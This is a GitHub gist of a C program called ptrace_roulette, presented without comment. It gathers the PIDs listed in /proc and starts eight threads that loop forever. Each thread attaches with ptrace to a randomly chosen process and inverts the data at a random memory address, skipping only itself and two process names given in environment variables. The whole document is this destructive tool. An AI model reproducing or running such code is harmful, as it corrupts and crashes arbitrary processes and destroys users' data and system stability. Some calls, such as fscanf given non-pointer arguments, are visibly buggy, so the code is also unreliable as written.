Skip to content

Instantly share code, notes, and snippets.

@moloch--
Forked from jtripper/ptrace_roulette.c
Last active May 23, 2020 18:56
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save moloch--/4618812 to your computer and use it in GitHub Desktop.
Save moloch--/4618812 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <sys/types.h>
#include <regex.h>
#include <string.h>
#include <sys/ptrace.h>
#include <time.h>
#include <unistd.h>
// gcc -pthread -o ptrace_roulette ptrace_roulette.c
const int THREAD_MAX = 8;
const char* get_process_name_by_pid(const int pid) {
char* name = (char*)calloc(1024,sizeof(char));
if (name) {
sprintf(name, "/proc/%d/cmdline",pid);
FILE* f = fopen(name,"r");
if (f) {
size_t size;
size = fread(name, sizeof(char), 1024, f);
if (size > 0) {
if ('\n'==name[size-1])
name[size-1]='\0';
}
fclose(f);
}
}
return name;
}
int *get_proc_ids() {
int *pid_list = (int*)malloc(sizeof(int) * 2);
pid_list[0] = 1;
regex_t preg;
regcomp(&preg, "^[0-9]+$", REG_EXTENDED);
struct dirent *dir;
DIR *d = opendir("/proc");
while ((dir = readdir(d)) != NULL) {
if (!regexec(&preg, dir->d_name, 0, NULL, 0)) {
pid_list[pid_list[0]] = atoi(dir->d_name);
pid_list[0]++;
pid_list = (int*)realloc(pid_list, (pid_list[0] + 1) * sizeof(int));
}
}
closedir(d);
return pid_list;
}
void *roulette() {
int *pid_list, pid, my_pid = getpid();
void *address = 0x0000000;
pid_list = get_proc_ids();
srand(time(NULL));
FILE *urandom = fopen("/dev/urandom", "rb");
int gen;
const char* env_skip_proc = getenv("SPROC");
const char* env_css_proc = getenv("CPROC");
for(;;) {
fscanf(urandom, "%d", gen);
pid = pid_list[gen % pid_list[0] + 1];
if (pid == my_pid)
continue;
const char* name = get_process_name_by_pid(pid);
if (strcmp(name, env_skip_proc) == 0) {
continue;
}
if (strcmp(name, env_css_proc) == 0) {
continue;
}
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
fscanf(urandom, "%ld", address);
ptrace(PTRACE_POKEDATA, pid, address, ~ptrace(PTRACE_PEEKDATA, pid, address, NULL));
ptrace(PTRACE_DETACH, pid, NULL, NULL);
}
}
int main() {
pthread_t thread_id;
for (int index = 0; index < THREAD_MAX; ++index) {
pthread_create(&thread_id, NULL, roulette, NULL);
}
pthread_join(thread_id, NULL);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment